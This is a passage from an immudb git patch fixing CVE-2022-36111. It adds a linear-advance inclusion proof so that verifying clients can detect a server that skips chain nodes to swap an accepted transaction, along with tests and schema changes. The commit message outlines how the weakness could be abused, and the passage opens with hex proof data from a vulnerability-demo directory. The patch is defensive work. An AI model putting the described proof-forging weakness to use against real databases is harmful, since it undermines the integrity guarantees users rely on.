0x20, 0xCE, 0x78, 0x73, + 0x5D, 0xBC, 0xCD, 0x40, 0x65, 0x23, 0xF3, 0x7D, 0x6E, 0x5A, 0xAD, 0x63, 0x39, 0xCD, 0x72, 0x73, + }, + + { + 0x56, 0x10, 0xDF, 0x2A, 0x78, 0x2B, 0xA3, 0xE6, 0xD7, 0x2C, 0x79, 0x0C, 0xEB, 0x81, 0x26, 0x12, + 0xEA, 0x2D, 0x2D, 0x53, 0x4C, 0x55, 0x4F, 0x92, 0x75, 0x7C, 0x1B, 0xD1, 0xDF, 0xFD, 0xD2, 0x3E, + }, + }, + LinearProof: &schema.LinearProof{ + SourceTxId: 4, + TargetTxId: 5, + Terms: [][]byte{ + { + 0x15, 0x09, 0x48, 0xAC, 0x8C, 0x92, 0x9E, 0xE8, 0x2C, 0x24, 0xED, 0x30, 0x75, 0xDE, 0x79, 0xCF, + 0xA0, 0x1E, 0xE9, 0xEE, 0x70, 0xF5, 0xB0, 0xEE, 0xC8, 0xEE, 0x50, 0x60, 0xDD, 0x2C, 0x23, 0x11, + }, + + { + 0x0F, 0x31, 0x18, 0xA6, 0x51, 0x1D, 0x80, 0x1F, 0xDC, 0x69, 0xA8, 0x5A, 0xEC, 0x60, 0x3B, 0x6C, + 0x6B, 0xCE, 0x79, 0x1B, 0x95, 0x09, 0x48, 0x95, 0x73, 0xA0, 0xE5, 0x61, 0xF3, 0xA0, 0x0B, 0x48, + }, + }, + }, + }, + } +) From acf7f1b3d62436ea5e038acea1fc6394f90ab1c6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Thu, 27 Oct 2022 13:51:49 +0200 Subject: [PATCH 0026/1062] fix(verification): Additional Linear proof consistency check MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Require additional proof that the linear proof part that was previously accepted by the client and that was consumed by the new Merkle Tree is stored in leaf nodes of that new Merkle Tree. Without this check, the server can try to fool the client by jumping over multiple nodes in the linear chain where only the first and the last element is really checked giving it an opportunity to swap previously accepted transaction with a modified one. This change is part of CVE-2022-36111 fix. Signed-off-by: Bartłomiej Święcki --- .../state_values_generation_test.go | 92 + embedded/store/immustore.go | 76 + embedded/store/verification.go | 128 +- embedded/store/verification_test.go | 67 + pkg/api/schema/database_protoconv.go | 36 + pkg/api/schema/docs.md | 19 + pkg/api/schema/schema.pb.go | 4105 +++++++++-------- pkg/api/schema/schema.proto | 13 + pkg/api/schema/schema.swagger.json | 25 + .../verification_long_linear_proof_test.go | 165 + .../aht/commit/00000000.di | Bin 0 -> 551 bytes .../aht/data/00000000.dat | Bin 0 -> 1271 bytes .../aht/tree/00000000.sha | Bin 0 -> 3423 bytes .../commit/00000000.txi | Bin 0 -> 662 bytes .../index/commit/00000000.ri | Bin 0 -> 378 bytes .../index/history/00000000.hx | Bin 0 -> 878 bytes .../index/nodes/00000000.n | Bin 0 -> 2891 bytes test/data_long_linear_proof/tx/00000000.tx | Bin 0 -> 5912 bytes .../data_long_linear_proof/val_0/00000000.val | Bin 0 -> 512 bytes 19 files changed, 2712 insertions(+), 2014 deletions(-) create mode 100644 pkg/integration/verification_long_linear_proof_test.go create mode 100755 test/data_long_linear_proof/aht/commit/00000000.di create mode 100755 test/data_long_linear_proof/aht/data/00000000.dat create mode 100755 test/data_long_linear_proof/aht/tree/00000000.sha create mode 100755 test/data_long_linear_proof/commit/00000000.txi create mode 100755 test/data_long_linear_proof/index/commit/00000000.ri create mode 100755 test/data_long_linear_proof/index/history/00000000.hx create mode 100755 test/data_long_linear_proof/index/nodes/00000000.n create mode 100755 test/data_long_linear_proof/tx/00000000.tx create mode 100755 test/data_long_linear_proof/val_0/00000000.val diff --git a/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go b/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go index 3c8e0050e1..9992b183a5 100644 --- a/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go +++ b/docs/security/vulnerabilities/linear-fake/server/data_generation/state_values_generation_test.go @@ -417,3 +417,95 @@ func TestVerifyDualProofLongLinearProofWithReplica(t *testing.T) { }) } + +func TestGenerateDataWithLongLinearProof(t *testing.T) { + const ( + initialNormalTxCount = 10 + linearTxCount = 10 + finalNormalTxCount = 10 + ) + + opts := DefaultOptions().WithSynced(false).WithMaxLinearProofLen(100).WithMaxConcurrency(1) + dir := t.TempDir() + immuStore, err := Open(dir, opts) + require.NoError(t, err) + defer func() { + if immuStore != nil { + immustoreClose(t, immuStore) + } + }() + + t.Run("Prepare initial normal transactions", func(t *testing.T) { + for i := 0; i < initialNormalTxCount; i++ { + tx, err := immuStore.NewWriteOnlyTx() + require.NoError(t, err) + + err = tx.Set([]byte(fmt.Sprintf("step1:key:%d", i)), nil, []byte(fmt.Sprintf("value:%d", i))) + require.NoError(t, err) + + txhdr, err := tx.AsyncCommit() + require.NoError(t, err) + require.EqualValues(t, i+1, txhdr.ID) + require.EqualValues(t, i, txhdr.BlTxID) + + immuStore.ahtWHub.WaitFor(txhdr.ID, nil) + } + }) + + t.Run("Add transactions with long linear proof", func(t *testing.T) { + // Disable binary linking and restore before we finish this step + immuStore.blDone <- struct{}{} + defer func() { + go immuStore.binaryLinking() + immuStore.ahtWHub.WaitFor(initialNormalTxCount+linearTxCount, nil) + }() + + for i := 0; i < linearTxCount; i++ { + tx, err := immuStore.NewWriteOnlyTx() + require.NoError(t, err) + + err = tx.Set([]byte(fmt.Sprintf("step2:key:%d", i)), nil, []byte(fmt.Sprintf("value:%d", i))) + require.NoError(t, err) + + txhdr, err := tx.AsyncCommit() + require.NoError(t, err) + require.EqualValues(t, i+1+initialNormalTxCount, txhdr.ID) + require.EqualValues(t, initialNormalTxCount, txhdr.BlTxID) + } + }) + + t.Run("Add normal transactions at the end", func(t *testing.T) { + for i := 0; i < finalNormalTxCount; i++ { + tx, err := immuStore.NewWriteOnlyTx() + require.NoError(t, err) + + err = tx.Set([]byte(fmt.Sprintf("step3:key:%d", i)), nil, []byte(fmt.Sprintf("value:%d", i))) + require.NoError(t, err) + + txhdr, err := tx.AsyncCommit() + require.NoError(t, err) + require.EqualValues(t, i+1+initialNormalTxCount+linearTxCount, txhdr.ID) + require.EqualValues(t, i+initialNormalTxCount+linearTxCount, txhdr.BlTxID) + + immuStore.ahtWHub.WaitFor(txhdr.ID, nil) + } + }) + + t.Run("copy database files to test folder", func(t *testing.T) { + err := immuStore.Sync() + require.NoError(t, err) + + err = immuStore.Close() + require.NoError(t, err) + immuStore = nil + + destPath := "../../test/data_long_linear_proof" + copier := fs.NewStandardCopier() + + err = os.RemoveAll(destPath) + require.NoError(t, err) + + err = copier.CopyDir(dir, destPath) + require.NoError(t, err) + }) +} diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index b34b6a3c56..792cee0ce2 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1866,6 +1866,7 @@ type DualProof struct { TargetBlTxAlh [sha256.Size]byte LastInclusionProof [][sha256.Size]byte LinearProof *LinearProof + LinearAdvanceProof *LinearAdvanceProof } // DualProof combines linear cryptographic linking i.e. transactions include the linear accumulative hash up to the previous one, @@ -1931,6 +1932,16 @@ func (s *ImmuStore) DualProof(sourceTxHdr, targetTxHdr *TxHeader) (proof *DualPr } proof.LinearProof = lproof + laproof, err := s.LinearAdvanceProof( + sourceTxHdr.BlTxID, + minUint64(sourceTxHdr.ID, targetTxHdr.BlTxID), + targetTxHdr.BlTxID, + ) + if err != nil { + return nil, err + } + proof.LinearAdvanceProof = laproof + return } @@ -1985,6 +1996,64 @@ func (s *ImmuStore) LinearProof(sourceTxID, targetTxID uint64) (*LinearProof, er }, nil } +// LinearAdvanceProof returns additional inclusion proof for part of the old linear proof consumed by +// the new Merkle Tree +func (s *ImmuStore) LinearAdvanceProof(sourceTxID, targetTxID uint64, targetBlTxID uint64) (*LinearAdvanceProof, error) { + if targetTxID < sourceTxID { + return nil, ErrSourceTxNewerThanTargetTx + } + + if targetTxID <= sourceTxID+1 { + // Additional proof is not needed + return nil, nil + } + + tx, err := s.fetchAllocTx() + if err != nil { + return nil, err + } + defer s.releaseAllocTx(tx) + + r, err := s.NewTxReader(sourceTxID+1, false, tx) + if err != nil { + return nil, err + } + + tx, err = r.Read() + if err != nil { + return nil, err + } + + linearProofTerms := make([][sha256.Size]byte, targetTxID-sourceTxID) + linearProofTerms[0] = tx.header.Alh() + + inclusionProofs := make([][][sha256.Size]byte, targetTxID-sourceTxID-1) + + for txID := sourceTxID + 1; txID < targetTxID; txID++ { + inclusionProof, err := s.aht.InclusionProof(txID, targetBlTxID) + if err != nil { + return nil, err + } + inclusionProofs[txID-sourceTxID-1] = inclusionProof + + tx, err := r.Read() + if err != nil { + return nil, err + } + linearProofTerms[txID-sourceTxID] = tx.Header().innerHash() + } + + return &LinearAdvanceProof{ + LinearProofTerms: linearProofTerms, + InclusionProofs: inclusionProofs, + }, nil +} + +type LinearAdvanceProof struct { + LinearProofTerms [][sha256.Size]byte + InclusionProofs [][][sha256.Size]byte +} + func (s *ImmuStore) txOffsetAndSize(txID uint64) (int64, int, error) { if txID == 0 { return 0, 0, ErrIllegalArguments @@ -2772,3 +2841,10 @@ func maxUint64(a, b uint64) uint64 { } return a } + +func minUint64(a, b uint64) uint64 { + if a >= b { + return b + } + return a +} diff --git a/embedded/store/verification.go b/embedded/store/verification.go index 5b51659878..85fd6d70c4 100644 --- a/embedded/store/verification.go +++ b/embedded/store/verification.go @@ -5,7 +5,7 @@ Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, @@ -28,6 +28,14 @@ func VerifyInclusion(proof *htree.InclusionProof, entryDigest, root [sha256.Size return htree.VerifyInclusion(proof, entryDigest, root) } +func advanceLinearHash(alh [sha256.Size]byte, txID uint64, term [sha256.Size]byte) [sha256.Size]byte { + var bs [txIDSize + 2*sha256.Size]byte + binary.BigEndian.PutUint64(bs[:], txID) + copy(bs[txIDSize:], alh[:]) + copy(bs[txIDSize+sha256.Size:], term[:]) // innerHash = hash(ts + mdLen + md + nentries + eH + blTxID + blRoot) + return sha256.Sum256(bs[:]) // hash(txID + prevAlh + innerHash) +} + func VerifyLinearProof(proof *LinearProof, sourceTxID, targetTxID uint64, sourceAlh, targetAlh [sha256.Size]byte) bool { if proof == nil || proof.SourceTxID != sourceTxID || proof.TargetTxID != targetTxID { return false @@ -45,16 +53,77 @@ func VerifyLinearProof(proof *LinearProof, sourceTxID, targetTxID uint64, source calculatedAlh := proof.Terms[0] for i := 1; i < len(proof.Terms); i++ { - var bs [txIDSize + 2*sha256.Size]byte - binary.BigEndian.PutUint64(bs[:], proof.SourceTxID+uint64(i)) - copy(bs[txIDSize:], calculatedAlh[:]) - copy(bs[txIDSize+sha256.Size:], proof.Terms[i][:]) // innerHash = hash(ts + mdLen + md + nentries + eH + blTxID + blRoot) - calculatedAlh = sha256.Sum256(bs[:]) // hash(txID + prevAlh + innerHash) + calculatedAlh = advanceLinearHash(calculatedAlh, proof.SourceTxID+uint64(i), proof.Terms[i]) } return targetAlh == calculatedAlh } +func VerifyLinearAdvanceProof( + proof *LinearAdvanceProof, + startTxID uint64, + endTxID uint64, + endAlh [sha256.Size]byte, + treeRoot [sha256.Size]byte, + treeSize uint64, +) bool { + // + // Old + // \ Merkle Tree + // \ + // \ + // \ Additional Inclusion proof + // \ for those nodes + // \ in new Merkle Tree + // \ ...................... + // \ / \ + // \ + // \+--+ +--+ +--+ +--+ +--+ + // -----------| |-----| |-----| |-----| |-----| | + // +--+ +--+ +--+ +--+ +--+ + // + // startTxID endTxID + // + + if endTxID < startTxID { + // This must not happen - that's an invalid proof + return false + } + + if endTxID <= startTxID+1 { + // Linear Advance Proof is not needed + return true + } + + if proof == nil || + len(proof.LinearProofTerms) != int(endTxID-startTxID) || + len(proof.InclusionProofs) != int(endTxID-startTxID)-1 { + // Check more preconditions that would indicate broken proof + return false + } + + calculatedAlh := proof.LinearProofTerms[0] // alh at startTx+1 + for txID := startTxID + 1; txID < endTxID; txID++ { + + // Ensure the node in the chain is included in the target Merkle Tree + if !ahtree.VerifyInclusion( + proof.InclusionProofs[txID-startTxID-1], + txID, + treeSize, + leafFor(calculatedAlh), + treeRoot, + ) { + return false + } + + // Get the Alh for the next transaction + calculatedAlh = advanceLinearHash(calculatedAlh, txID+1, proof.LinearProofTerms[txID-startTxID]) + } + + // We must end up with the final Alh - that one is also checked for inclusion but in different part of the proof + return calculatedAlh == endAlh +} + func VerifyDualProof(proof *DualProof, sourceTxID, targetTxID uint64, sourceAlh, targetAlh [sha256.Size]byte) bool { if proof == nil || proof.SourceTxHeader == nil || @@ -93,7 +162,7 @@ func VerifyDualProof(proof *DualProof, sourceTxID, targetTxID uint64, sourceAlh, } if proof.SourceTxHeader.BlTxID > 0 { - verfifies := ahtree.VerifyConsistency( + verifies := ahtree.VerifyConsistency( proof.ConsistencyProof, proof.SourceTxHeader.BlTxID, proof.TargetTxHeader.BlTxID, @@ -101,7 +170,7 @@ func VerifyDualProof(proof *DualProof, sourceTxID, targetTxID uint64, sourceAlh, proof.TargetTxHeader.BlRoot, ) - if !verfifies { + if !verifies { return false } } @@ -120,10 +189,49 @@ func VerifyDualProof(proof *DualProof, sourceTxID, targetTxID uint64, sourceAlh, } if sourceTxID < proof.TargetTxHeader.BlTxID { - return VerifyLinearProof(proof.LinearProof, proof.TargetTxHeader.BlTxID, targetTxID, proof.TargetBlTxAlh, targetAlh) + verifies := VerifyLinearProof(proof.LinearProof, proof.TargetTxHeader.BlTxID, targetTxID, proof.TargetBlTxAlh, targetAlh) + if !verifies { + return false + } + + // Verify that the part of the linear proof consumed by the new merkle tree is consistent with that Merkle Tree + // In this case, this is the whole chain to the SourceTxID from the previous Merkle Tree. + // The sourceTxID consistency is already proven using proof.InclusionProof + if !VerifyLinearAdvanceProof( + proof.LinearAdvanceProof, + proof.SourceTxHeader.BlTxID, + sourceTxID, + sourceAlh, + proof.TargetTxHeader.BlRoot, + proof.TargetTxHeader.BlTxID, + ) { + return false + } + + } else { + + verifies := VerifyLinearProof(proof.LinearProof, sourceTxID, targetTxID, sourceAlh, targetAlh) + if !verifies { + return false + } + + // Verify that the part of the linear proof consumed by the new merkle tree is consistent with that Merkle Tree + // In this case, this is the whole linear chain between the old Merkle Tree and the new Merkle Tree. The last entry + // in the new Merkle Tree is already proven through the LastInclusionProof, the remaining part of the liner proof + // that goes outside of the target Merkle Tree will be validated in future DualProof validations + if !VerifyLinearAdvanceProof( + proof.LinearAdvanceProof, + proof.SourceTxHeader.BlTxID, + proof.TargetTxHeader.BlTxID, + proof.TargetBlTxAlh, + proof.TargetTxHeader.BlRoot, + proof.TargetTxHeader.BlTxID, + ) { + return false + } } - return VerifyLinearProof(proof.LinearProof, sourceTxID, targetTxID, sourceAlh, targetAlh) + return true } func leafFor(d [sha256.Size]byte) [sha256.Size]byte { diff --git a/embedded/store/verification_test.go b/embedded/store/verification_test.go index d23808ef9f..5f29fb3211 100644 --- a/embedded/store/verification_test.go +++ b/embedded/store/verification_test.go @@ -19,8 +19,10 @@ package store import ( "crypto/sha256" "encoding/binary" + "path/filepath" "testing" + "github.com/codenotary/immudb/pkg/fs" "github.com/stretchr/testify/require" ) @@ -123,3 +125,68 @@ func TestVerifyDualProofEdgeCases(t *testing.T) { } } + +func TestVerifyDualProofWithAdditionalLinearInclusionProof(t *testing.T) { + dir := filepath.Join(t.TempDir(), "data") + copier := fs.NewStandardCopier() + require.NoError(t, copier.CopyDir("../../test/data_long_linear_proof", dir)) + + opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) + immuStore, err := Open(dir, opts) + require.NoError(t, err) + defer immustoreClose(t, immuStore) + + maxTxID := immuStore.TxCount() + + t.Run("data check", func(t *testing.T) { + require.EqualValues(t, 30, maxTxID, "Invalid dataset - expected 30 transactions") + + t.Run("transactions 1-10 do not use linear proof longer than 1", func(t *testing.T) { + for txID := uint64(1); txID <= 10; txID++ { + hdr, err := immuStore.ReadTxHeader(txID, false) + require.NoError(t, err) + require.Equal(t, txID-1, hdr.BlTxID) + } + }) + + t.Run("transactions 11-20 use long linear proof", func(t *testing.T) { + for txID := uint64(11); txID <= 20; txID++ { + hdr, err := immuStore.ReadTxHeader(txID, false) + require.NoError(t, err) + require.EqualValues(t, 10, hdr.BlTxID) + } + }) + + t.Run("transactions 21-30 do not use linear proof longer than 1", func(t *testing.T) { + for txID := uint64(21); txID <= 30; txID++ { + hdr, err := immuStore.ReadTxHeader(txID, false) + require.NoError(t, err) + require.Equal(t, txID-1, hdr.BlTxID) + } + }) + + }) + + t.Run("exhaustive consistency proof check", func(t *testing.T) { + for sourceTxID := uint64(1); sourceTxID < maxTxID; sourceTxID++ { + for targetTxID := sourceTxID; targetTxID < maxTxID; targetTxID++ { + + sourceTx := tempTxHolder(t, immuStore) + targetTx := tempTxHolder(t, immuStore) + + err := immuStore.ReadTx(sourceTxID, sourceTx) + require.NoError(t, err) + + err = immuStore.ReadTx(targetTxID, targetTx) + require.NoError(t, err) + + dproof, err := immuStore.DualProof(sourceTx.Header(), targetTx.Header()) + require.NoError(t, err) + + verifies := VerifyDualProof(dproof, sourceTxID, targetTxID, sourceTx.header.Alh(), targetTx.header.Alh()) + require.True(t, verifies) + } + } + }) + +} diff --git a/pkg/api/schema/database_protoconv.go b/pkg/api/schema/database_protoconv.go index 5a41701d46..c0c9a17901 100644 --- a/pkg/api/schema/database_protoconv.go +++ b/pkg/api/schema/database_protoconv.go @@ -137,6 +137,7 @@ func DualProofToProto(dualProof *store.DualProof) *DualProof { TargetBlTxAlh: dualProof.TargetBlTxAlh[:], LastInclusionProof: DigestsToProto(dualProof.LastInclusionProof), LinearProof: LinearProofToProto(dualProof.LinearProof), + LinearAdvanceProof: LinearAdvanceProofToProto(dualProof.LinearAdvanceProof), } } @@ -174,6 +175,24 @@ func LinearProofToProto(linearProof *store.LinearProof) *LinearProof { } } +func LinearAdvanceProofToProto(proof *store.LinearAdvanceProof) *LinearAdvanceProof { + if proof == nil { + return nil + } + + inclusionProofs := make([]*InclusionProof, len(proof.InclusionProofs)) + for i, p := range proof.InclusionProofs { + inclusionProofs[i] = &InclusionProof{ + Terms: DigestsToProto(p), + } + } + + return &LinearAdvanceProof{ + LinearProofTerms: DigestsToProto(proof.LinearProofTerms), + InclusionProofs: inclusionProofs, + } +} + func DualProofFromProto(dproof *DualProof) *store.DualProof { return &store.DualProof{ SourceTxHeader: TxHeaderFromProto(dproof.SourceTxHeader), @@ -183,6 +202,7 @@ func DualProofFromProto(dproof *DualProof) *store.DualProof { TargetBlTxAlh: DigestFromProto(dproof.TargetBlTxAlh), LastInclusionProof: DigestsFromProto(dproof.LastInclusionProof), LinearProof: LinearProofFromProto(dproof.LinearProof), + LinearAdvanceProof: LinearAdvanceProofFromProto(dproof.LinearAdvanceProof), } } @@ -216,6 +236,22 @@ func LinearProofFromProto(lproof *LinearProof) *store.LinearProof { } } +func LinearAdvanceProofFromProto(laproof *LinearAdvanceProof) *store.LinearAdvanceProof { + if laproof == nil { + return nil + } + + inclusionProofs := make([][][sha256.Size]byte, len(laproof.InclusionProofs)) + for i, proof := range laproof.InclusionProofs { + inclusionProofs[i] = DigestsFromProto(proof.Terms) + } + + return &store.LinearAdvanceProof{ + LinearProofTerms: DigestsFromProto(laproof.LinearProofTerms), + InclusionProofs: inclusionProofs, + } +} + func DigestsToProto(terms [][sha256.Size]byte) [][]byte { slicedTerms := make([][]byte, len(terms)) diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 3ea59c5f5e..3ca2a796bc 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -53,6 +53,7 @@ - [KeyPrefix](#immudb.schema.KeyPrefix) - [KeyRequest](#immudb.schema.KeyRequest) - [KeyValue](#immudb.schema.KeyValue) + - [LinearAdvanceProof](#immudb.schema.LinearAdvanceProof) - [LinearProof](#immudb.schema.LinearProof) - [LoadDatabaseRequest](#immudb.schema.LoadDatabaseRequest) - [LoadDatabaseResponse](#immudb.schema.LoadDatabaseResponse) @@ -597,6 +598,7 @@ DualProof contains inclusion and consistency proofs for dual Merkle-Tree + L | targetBlTxAlh | [bytes](#bytes) | | Accumulative hash (Alh) of the last transaction that's part of the target Merkle Tree | | lastInclusionProof | [bytes](#bytes) | repeated | Inclusion proof of the targetBlTxAlh in the target Merkle Tree | | linearProof | [LinearProof](#immudb.schema.LinearProof) | | Linear proof starting from targetBlTxAlh to the final state value | +| LinearAdvanceProof | [LinearAdvanceProof](#immudb.schema.LinearAdvanceProof) | | Proof of consistency between some part of older linear chain and newer Merkle Tree | @@ -980,6 +982,23 @@ DualProof contains inclusion and consistency proofs for dual Merkle-Tree + L + + +### LinearAdvanceProof +LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain +and the new Merkle Tree + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| linearProofTerms | [bytes](#bytes) | repeated | terms for the linear chain | +| inclusionProofs | [InclusionProof](#immudb.schema.InclusionProof) | repeated | inclusion proofs for steps on the linear chain | + + + + + + ### LinearProof diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 7c5397a07c..7b590bdf36 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -2149,6 +2149,65 @@ func (x *LinearProof) GetTerms() [][]byte { return nil } +// LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain +// and the new Merkle Tree +type LinearAdvanceProof struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // terms for the linear chain + LinearProofTerms [][]byte `protobuf:"bytes,1,rep,name=linearProofTerms,proto3" json:"linearProofTerms,omitempty"` + // inclusion proofs for steps on the linear chain + InclusionProofs []*InclusionProof `protobuf:"bytes,2,rep,name=inclusionProofs,proto3" json:"inclusionProofs,omitempty"` +} + +func (x *LinearAdvanceProof) Reset() { + *x = LinearAdvanceProof{} + if protoimpl.UnsafeEnabled { + mi := &file_schema_proto_msgTypes[29] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *LinearAdvanceProof) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*LinearAdvanceProof) ProtoMessage() {} + +func (x *LinearAdvanceProof) ProtoReflect() protoreflect.Message { + mi := &file_schema_proto_msgTypes[29] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use LinearAdvanceProof.ProtoReflect.Descriptor instead. +func (*LinearAdvanceProof) Descriptor() ([]byte, []int) { + return file_schema_proto_rawDescGZIP(), []int{29} +} + +func (x *LinearAdvanceProof) GetLinearProofTerms() [][]byte { + if x != nil { + return x.LinearProofTerms + } + return nil +} + +func (x *LinearAdvanceProof) GetInclusionProofs() []*InclusionProof { + if x != nil { + return x.InclusionProofs + } + return nil +} + // DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs type DualProof struct { state protoimpl.MessageState @@ -2169,12 +2228,14 @@ type DualProof struct { LastInclusionProof [][]byte `protobuf:"bytes,6,rep,name=lastInclusionProof,proto3" json:"lastInclusionProof,omitempty"` // Linear proof starting from targetBlTxAlh to the final state value LinearProof *LinearProof `protobuf:"bytes,7,opt,name=linearProof,proto3" json:"linearProof,omitempty"` + // Proof of consistency between some part of older linear chain and newer Merkle Tree + LinearAdvanceProof *LinearAdvanceProof `protobuf:"bytes,8,opt,name=LinearAdvanceProof,proto3" json:"LinearAdvanceProof,omitempty"` } func (x *DualProof) Reset() { *x = DualProof{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[29] + mi := &file_schema_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2187,7 +2248,7 @@ func (x *DualProof) String() string { func (*DualProof) ProtoMessage() {} func (x *DualProof) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[29] + mi := &file_schema_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2200,7 +2261,7 @@ func (x *DualProof) ProtoReflect() protoreflect.Message { // Deprecated: Use DualProof.ProtoReflect.Descriptor instead. func (*DualProof) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{29} + return file_schema_proto_rawDescGZIP(), []int{30} } func (x *DualProof) GetSourceTxHeader() *TxHeader { @@ -2252,6 +2313,13 @@ func (x *DualProof) GetLinearProof() *LinearProof { return nil } +func (x *DualProof) GetLinearAdvanceProof() *LinearAdvanceProof { + if x != nil { + return x.LinearAdvanceProof + } + return nil +} + type Tx struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -2270,7 +2338,7 @@ type Tx struct { func (x *Tx) Reset() { *x = Tx{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[30] + mi := &file_schema_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2283,7 +2351,7 @@ func (x *Tx) String() string { func (*Tx) ProtoMessage() {} func (x *Tx) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[30] + mi := &file_schema_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2296,7 +2364,7 @@ func (x *Tx) ProtoReflect() protoreflect.Message { // Deprecated: Use Tx.ProtoReflect.Descriptor instead. func (*Tx) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{30} + return file_schema_proto_rawDescGZIP(), []int{31} } func (x *Tx) GetHeader() *TxHeader { @@ -2348,7 +2416,7 @@ type TxEntry struct { func (x *TxEntry) Reset() { *x = TxEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[31] + mi := &file_schema_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2361,7 +2429,7 @@ func (x *TxEntry) String() string { func (*TxEntry) ProtoMessage() {} func (x *TxEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[31] + mi := &file_schema_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2374,7 +2442,7 @@ func (x *TxEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use TxEntry.ProtoReflect.Descriptor instead. func (*TxEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{31} + return file_schema_proto_rawDescGZIP(), []int{32} } func (x *TxEntry) GetKey() []byte { @@ -2428,7 +2496,7 @@ type KVMetadata struct { func (x *KVMetadata) Reset() { *x = KVMetadata{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[32] + mi := &file_schema_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2441,7 +2509,7 @@ func (x *KVMetadata) String() string { func (*KVMetadata) ProtoMessage() {} func (x *KVMetadata) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[32] + mi := &file_schema_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2454,7 +2522,7 @@ func (x *KVMetadata) ProtoReflect() protoreflect.Message { // Deprecated: Use KVMetadata.ProtoReflect.Descriptor instead. func (*KVMetadata) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{32} + return file_schema_proto_rawDescGZIP(), []int{33} } func (x *KVMetadata) GetDeleted() bool { @@ -2490,7 +2558,7 @@ type Expiration struct { func (x *Expiration) Reset() { *x = Expiration{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[33] + mi := &file_schema_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2503,7 +2571,7 @@ func (x *Expiration) String() string { func (*Expiration) ProtoMessage() {} func (x *Expiration) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[33] + mi := &file_schema_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2516,7 +2584,7 @@ func (x *Expiration) ProtoReflect() protoreflect.Message { // Deprecated: Use Expiration.ProtoReflect.Descriptor instead. func (*Expiration) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{33} + return file_schema_proto_rawDescGZIP(), []int{34} } func (x *Expiration) GetExpiresAt() int64 { @@ -2542,7 +2610,7 @@ type VerifiableTx struct { func (x *VerifiableTx) Reset() { *x = VerifiableTx{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[34] + mi := &file_schema_proto_msgTypes[35] ms := 